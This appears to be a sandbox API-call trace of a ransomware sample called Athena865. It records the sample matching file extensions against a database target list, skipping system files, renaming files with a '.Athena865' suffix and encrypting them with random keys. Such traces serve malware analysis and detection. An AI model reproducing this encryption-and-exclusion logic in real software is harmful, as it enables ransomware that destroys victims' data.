returned 4 [0052.538] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.538] lstrlenW (lpString="db") returned 2 [0052.538] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.538] lstrlenW (lpString="db2") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.538] lstrlenW (lpString="db3") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.538] lstrlenW (lpString="dbf") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.538] lstrlenW (lpString="mdf") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.538] lstrlenW (lpString="mdb") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.538] lstrlenW (lpString="sql") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.538] lstrlenW (lpString="sqlite") returned 6 [0052.538] lstrcmpiW (lpString1="Xo.lnk", lpString2="sqlite") returned 1 [0052.538] lstrlenW (lpString="sqlite3") returned 7 [0052.538] lstrcmpiW (lpString1="iXo.lnk", lpString2="sqlite3") returned -1 [0052.538] lstrlenW (lpString="sqlitedb") returned 8 [0052.538] lstrcmpiW (lpString1="HiXo.lnk", lpString2="sqlitedb") returned -1 [0052.538] lstrlenW (lpString="xml") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.538] lstrlenW (lpString="$er") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.538] lstrlenW (lpString="4dd") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.538] lstrlenW (lpString="4dl") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.538] lstrlenW (lpString="^^^") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.538] lstrlenW (lpString="abs") returned 3 [0052.538] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.539] lstrlenW (lpString="abx") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.539] lstrlenW (lpString="accdb") returned 5 [0052.539] lstrcmpiW (lpString1="o.lnk", lpString2="accdb") returned 1 [0052.539] lstrlenW (lpString="accdc") returned 5 [0052.539] lstrcmpiW (lpString1="o.lnk", lpString2="accdc") returned 1 [0052.539] lstrlenW (lpString="accde") returned 5 [0052.539] lstrcmpiW (lpString1="o.lnk", lpString2="accde") returned 1 [0052.539] lstrlenW (lpString="accdr") returned 5 [0052.539] lstrcmpiW (lpString1="o.lnk", lpString2="accdr") returned 1 [0052.539] lstrlenW (lpString="accdt") returned 5 [0052.539] lstrcmpiW (lpString1="o.lnk", lpString2="accdt") returned 1 [0052.539] lstrlenW (lpString="accdw") returned 5 [0052.539] lstrcmpiW (lpString1="o.lnk", lpString2="accdw") returned 1 [0052.539] lstrlenW (lpString="accft") returned 5 [0052.539] lstrcmpiW (lpString1="o.lnk", lpString2="accft") returned 1 [0052.539] lstrlenW (lpString="adb") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.539] lstrlenW (lpString="adb") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.539] lstrlenW (lpString="ade") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.539] lstrlenW (lpString="adf") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.539] lstrlenW (lpString="adn") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.539] lstrlenW (lpString="adp") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.539] lstrlenW (lpString="alf") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.539] lstrlenW (lpString="ask") returned 3 [0052.539] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.540] lstrlenW (lpString="btr") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.540] lstrlenW (lpString="cat") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.540] lstrlenW (lpString="cdb") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.540] lstrlenW (lpString="ckp") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.540] lstrlenW (lpString="cma") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.540] lstrlenW (lpString="cpd") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.540] lstrlenW (lpString="dacpac") returned 6 [0052.540] lstrcmpiW (lpString1="Xo.lnk", lpString2="dacpac") returned 1 [0052.540] lstrlenW (lpString="dad") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.540] lstrlenW (lpString="dadiagrams") returned 10 [0052.540] lstrcmpiW (lpString1="-LHiXo.lnk", lpString2="dadiagrams") returned 1 [0052.540] lstrlenW (lpString="daschema") returned 8 [0052.540] lstrcmpiW (lpString1="HiXo.lnk", lpString2="daschema") returned 1 [0052.540] lstrlenW (lpString="db-journal") returned 10 [0052.540] lstrcmpiW (lpString1="-LHiXo.lnk", lpString2="db-journal") returned 1 [0052.540] lstrlenW (lpString="db-shm") returned 6 [0052.540] lstrcmpiW (lpString1="Xo.lnk", lpString2="db-shm") returned 1 [0052.540] lstrlenW (lpString="db-wal") returned 6 [0052.540] lstrcmpiW (lpString1="Xo.lnk", lpString2="db-wal") returned 1 [0052.540] lstrlenW (lpString="dbc") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.540] lstrlenW (lpString="dbs") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.540] lstrlenW (lpString="dbt") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.540] lstrlenW (lpString="dbv") returned 3 [0052.540] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.541] lstrlenW (lpString="dbx") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.541] lstrlenW (lpString="dcb") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.541] lstrlenW (lpString="dct") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.541] lstrlenW (lpString="dcx") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.541] lstrlenW (lpString="ddl") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.541] lstrlenW (lpString="dlis") returned 4 [0052.541] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.541] lstrlenW (lpString="dp1") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.541] lstrlenW (lpString="dqy") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.541] lstrlenW (lpString="dsk") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.541] lstrlenW (lpString="dsn") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.541] lstrlenW (lpString="dtsx") returned 4 [0052.541] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.541] lstrlenW (lpString="dxl") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.541] lstrlenW (lpString="eco") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.541] lstrlenW (lpString="ecx") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.541] lstrlenW (lpString="edb") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.541] lstrlenW (lpString="epim") returned 4 [0052.541] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.541] lstrlenW (lpString="fcd") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.541] lstrlenW (lpString="fdb") returned 3 [0052.541] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.542] lstrlenW (lpString="fic") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.542] lstrlenW (lpString="flexolibrary") returned 12 [0052.542] lstrcmpiW (lpString1="yB-LHiXo.lnk", lpString2="flexolibrary") returned 1 [0052.542] lstrlenW (lpString="fm5") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.542] lstrlenW (lpString="fmp") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.542] lstrlenW (lpString="fmp12") returned 5 [0052.542] lstrcmpiW (lpString1="o.lnk", lpString2="fmp12") returned 1 [0052.542] lstrlenW (lpString="fmpsl") returned 5 [0052.542] lstrcmpiW (lpString1="o.lnk", lpString2="fmpsl") returned 1 [0052.542] lstrlenW (lpString="fol") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.542] lstrlenW (lpString="fp3") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.542] lstrlenW (lpString="fp4") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.542] lstrlenW (lpString="fp5") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.542] lstrlenW (lpString="fp7") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.542] lstrlenW (lpString="fpt") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.542] lstrlenW (lpString="frm") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.542] lstrlenW (lpString="gdb") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.542] lstrlenW (lpString="gdb") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.542] lstrlenW (lpString="grdb") returned 4 [0052.542] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.542] lstrlenW (lpString="gwi") returned 3 [0052.542] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.543] lstrlenW (lpString="hdb") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.543] lstrlenW (lpString="his") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.543] lstrlenW (lpString="ib") returned 2 [0052.543] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.543] lstrlenW (lpString="idb") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.543] lstrlenW (lpString="ihx") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.543] lstrlenW (lpString="itdb") returned 4 [0052.543] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.543] lstrlenW (lpString="itw") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.543] lstrlenW (lpString="jet") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.543] lstrlenW (lpString="jtx") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.543] lstrlenW (lpString="kdb") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.543] lstrlenW (lpString="kexi") returned 4 [0052.543] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.543] lstrlenW (lpString="kexic") returned 5 [0052.543] lstrcmpiW (lpString1="o.lnk", lpString2="kexic") returned 1 [0052.543] lstrlenW (lpString="kexis") returned 5 [0052.543] lstrcmpiW (lpString1="o.lnk", lpString2="kexis") returned 1 [0052.543] lstrlenW (lpString="lgc") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.543] lstrlenW (lpString="lwx") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.543] lstrlenW (lpString="maf") returned 3 [0052.543] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.544] lstrlenW (lpString="maq") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.544] lstrlenW (lpString="mar") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.544] lstrlenW (lpString="marshal") returned 7 [0052.544] lstrcmpiW (lpString1="iXo.lnk", lpString2="marshal") returned -1 [0052.544] lstrlenW (lpString="mas") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.544] lstrlenW (lpString="mav") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.544] lstrlenW (lpString="maw") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.544] lstrlenW (lpString="mdbhtml") returned 7 [0052.544] lstrcmpiW (lpString1="iXo.lnk", lpString2="mdbhtml") returned -1 [0052.544] lstrlenW (lpString="mdn") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.544] lstrlenW (lpString="mdt") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.544] lstrlenW (lpString="mfd") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.544] lstrlenW (lpString="mpd") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.544] lstrlenW (lpString="mrg") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.544] lstrlenW (lpString="mud") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.544] lstrlenW (lpString="mwb") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.544] lstrlenW (lpString="myd") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.544] lstrlenW (lpString="ndf") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.544] lstrlenW (lpString="nnt") returned 3 [0052.544] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.544] lstrlenW (lpString="nrmlib") returned 6 [0052.545] lstrcmpiW (lpString1="Xo.lnk", lpString2="nrmlib") returned 1 [0052.545] lstrlenW (lpString="ns2") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.545] lstrlenW (lpString="ns3") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.545] lstrlenW (lpString="ns4") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.545] lstrlenW (lpString="nsf") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.545] lstrlenW (lpString="nv") returned 2 [0052.545] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.545] lstrlenW (lpString="nv2") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.545] lstrlenW (lpString="nwdb") returned 4 [0052.545] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.545] lstrlenW (lpString="nyf") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.545] lstrlenW (lpString="odb") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.545] lstrlenW (lpString="odb") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.545] lstrlenW (lpString="oqy") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.545] lstrlenW (lpString="ora") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.545] lstrlenW (lpString="orx") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.545] lstrlenW (lpString="owc") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.545] lstrlenW (lpString="p96") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.545] lstrlenW (lpString="p97") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.545] lstrlenW (lpString="pan") returned 3 [0052.545] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.545] lstrlenW (lpString="pdb") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.546] lstrlenW (lpString="pdm") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.546] lstrlenW (lpString="pnz") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.546] lstrlenW (lpString="qry") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.546] lstrlenW (lpString="qvd") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.546] lstrlenW (lpString="rbf") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.546] lstrlenW (lpString="rctd") returned 4 [0052.546] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.546] lstrlenW (lpString="rod") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.546] lstrlenW (lpString="rodx") returned 4 [0052.546] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.546] lstrlenW (lpString="rpd") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.546] lstrlenW (lpString="rsd") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.546] lstrlenW (lpString="sas7bdat") returned 8 [0052.546] lstrcmpiW (lpString1="HiXo.lnk", lpString2="sas7bdat") returned -1 [0052.546] lstrlenW (lpString="sbf") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.546] lstrlenW (lpString="scx") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.546] lstrlenW (lpString="sdb") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.546] lstrlenW (lpString="sdc") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.546] lstrlenW (lpString="sdf") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.546] lstrlenW (lpString="sis") returned 3 [0052.546] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.547] lstrlenW (lpString="spq") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.547] lstrlenW (lpString="te") returned 2 [0052.547] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.547] lstrlenW (lpString="teacher") returned 7 [0052.547] lstrcmpiW (lpString1="iXo.lnk", lpString2="teacher") returned -1 [0052.547] lstrlenW (lpString="tmd") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.547] lstrlenW (lpString="tps") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.547] lstrlenW (lpString="trc") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.547] lstrlenW (lpString="trc") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.547] lstrlenW (lpString="trm") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.547] lstrlenW (lpString="udb") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.547] lstrlenW (lpString="udl") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.547] lstrlenW (lpString="usr") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.547] lstrlenW (lpString="v12") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.547] lstrlenW (lpString="vis") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.547] lstrlenW (lpString="vpd") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.547] lstrlenW (lpString="vvv") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.547] lstrlenW (lpString="wdb") returned 3 [0052.547] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.547] lstrlenW (lpString="wmdb") returned 4 [0052.548] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.548] lstrlenW (lpString="wrk") returned 3 [0052.548] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.548] lstrlenW (lpString="xdb") returned 3 [0052.548] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.548] lstrlenW (lpString="xld") returned 3 [0052.548] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.548] lstrlenW (lpString="xmlff") returned 5 [0052.548] lstrcmpiW (lpString1="o.lnk", lpString2="xmlff") returned -1 [0052.548] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hhvAWIyB-LHiXo.lnk.Athena865") returned 82 [0052.548] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hhvAWIyB-LHiXo.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hhvawiyb-lhixo.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hhvAWIyB-LHiXo.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hhvawiyb-lhixo.lnk.athena865"), dwFlags=0x1) returned 1 [0052.550] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hhvAWIyB-LHiXo.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hhvawiyb-lhixo.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.551] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2631) returned 1 [0052.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.551] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.552] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.552] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.552] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x154 [0052.552] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0052.552] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.553] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.553] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.554] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.554] CloseHandle (hObject=0x154) returned 1 [0052.554] CloseHandle (hObject=0x17c) returned 1 [0052.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.555] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaedefa60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaedefa60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaedefa60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hm58cOqk.lnk", cAlternateFileName="")) returned 1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2=".") returned 1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="..") returned 1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="windows") returned -1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="bootmgr") returned 1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="temp") returned -1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="pagefile.sys") returned -1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="boot") returned 1 [0052.555] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="ids.txt") returned -1 [0052.556] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="ntuser.dat") returned -1 [0052.556] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="perflogs") returned -1 [0052.556] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2="MSBuild") returned -1 [0052.556] lstrlenW (lpString="hm58cOqk.lnk") returned 12 [0052.556] lstrcpyW (in: lpString1=0x241e8b4, lpString2="hm58cOqk.lnk" | out: lpString1="hm58cOqk.lnk") returned="hm58cOqk.lnk" [0052.556] lstrlenW (lpString="hm58cOqk.lnk") returned 12 [0052.556] lstrlenW (lpString="Athena865") returned 9 [0052.556] lstrcmpiW (lpString1="8cOqk.lnk", lpString2="Athena865") returned -1 [0052.556] lstrlenW (lpString=".dll") returned 4 [0052.556] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2=".dll") returned 1 [0052.556] lstrlenW (lpString=".lnk") returned 4 [0052.556] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2=".lnk") returned 1 [0052.556] lstrlenW (lpString=".ini") returned 4 [0052.556] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2=".ini") returned 1 [0052.556] 